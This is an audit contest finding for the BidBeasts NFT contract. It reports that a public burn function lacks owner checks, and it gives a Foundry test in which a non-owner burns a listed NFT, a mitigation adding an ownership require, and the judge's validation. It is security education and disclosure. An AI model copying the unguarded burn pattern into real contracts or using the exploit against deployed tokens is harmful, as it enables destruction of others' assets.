Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

[H-1] The `BidBeasts::burn` function has no access controls, allowing a non-owner to burn any NFT at any time, including while listed on the marketplace.

alexscherbatyuk

The BidBeasts::burn function has no access controls, allowing a non-owner to burn any NFT at any time, including while listed on the marketplace. Severe disruption to the protocol's functionality.

Description

  • Normal behaviour NFT could be burned only by the ownerOf NFT.

  • The `BidBeasts::burn` function is public and lacks access controls, allowing any address to burn any NFT. This poses a serious security risk as it enables unauthorized destruction of NFTs.

  • This could result in financial loss for the owner, as they would be unable to recover the NFT. Additionally, it could cause financial loss for buyers and severely disrupt the intended functionality of the `BidBeastsNFTMarket` contract, as it allows bidding on non-existent NFTs due to its reliance on transferring access control from `sellers` to the `marketplace`.

​
function burn(uint256 _tokenId) public {
//@>
_burn(_tokenId);
emit BidBeastsBurn(msg.sender, _tokenId);
}

Risk

Likelihood: High

  • It's highly probable to happen.

  • Directly function call.

Impact:

  • There's a severe disruption of protocol functionality.

  • Unauthorized destruction of NFTs

  • Financial loss for the NFT owner.

Proof of Concept

This test is designed to demonstrate the case when non-owner can burn any NFT.

event BidBeastsBurn(address indexed from, uint256 indexed tokenId);
​
function testNoAccessControlToBurnNFTAnyoneCanBurnAnyNFT() public {
// Arrange
// 1. Define address of non-NFT owner
address NOT_NFT_OWNER = makeAddr("notNFTOwner");
console.log("Non-NFT owner address is: ", NOT_NFT_OWNER);
​
// 2. Contract owner mints NFT to seller
vm.prank(OWNER);
nft.mint(SELLER);
​
uint256 tokenId = nft.CurrenTokenID() - 1;
address beforeNftOwner = nft.ownerOf(tokenId);
console.log("The NFT owner address is: ", beforeNftOwner);
​
// 3. Seller lists NFT
vm.startPrank(SELLER);
nft.approve(address(market), TOKEN_ID);
market.listNFT(TOKEN_ID, MIN_PRICE, BUY_NOW_PRICE);
vm.stopPrank();
​
BidBeastsNFTMarket.Listing memory listingBeforeBurning = market.getListing(TOKEN_ID);
bool nftIsListedBeforeBurning = listingBeforeBurning.listed;
address afterListingNftOwner = nft.ownerOf(tokenId);
console.log("Market address is: ", address(market));
console.log("NFT is listed: ", nftIsListedBeforeBurning);
console.log("New NFT owner address after listing is: ", afterListingNftOwner);
​
// Act
// 4. A non-NFT owner tries to burn NFT
console.log("A non-NFT owner tries to burn NFT...");
​
vm.prank(NOT_NFT_OWNER);
vm.expectEmit(true, true, false, false, address(nft));
emit BidBeastsBurn(NOT_NFT_OWNER, tokenId);
nft.burn(tokenId);
BidBeastsNFTMarket.Listing memory listingAfterBurning = market.getListing(TOKEN_ID);
bool nftIsListedAfterBurning = listingAfterBurning.listed;
// Assert
assertEq(beforeNftOwner, SELLER, "Seller is owner of the NFT after minting");
assertEq(afterListingNftOwner, address(market), "Market is the owner after NFT is listed");
assertNotEq(beforeNftOwner, NOT_NFT_OWNER, "NFT owner is not the non-NFT owner");
assertNotEq(afterListingNftOwner, NOT_NFT_OWNER, "Market owner is not the non-NFT owner");
assertEq(nftIsListedBeforeBurning, true, "NFT is listed");
assertEq(nftIsListedAfterBurning, true, "NFT is still listed after burning");
​
console.log("NFT has been successfully burned by non-NFT owner while listed!");
}

Recommended Mitigation

Add an access control check to the BidBeasts::burn function to allow only the owner of the NFT to burn it.

function burn(uint256 _tokenId) public {
+ require(ownerOf(_tokenId) == msg.sender, "Not the owner of the NFT");
_burn(_tokenId);
emit BidBeastsBurn(msg.sender, _tokenId);
}
Updates

Lead Judging Commences

cryptoghost Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeasts ERC721: Anyone Can Burn

In the BidBeasts ERC721 implementation, the burn function is publicly accessible, allowing any external user to burn NFTs they do not own. This exposes all tokens to unauthorized destruction and results in permanent asset loss.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.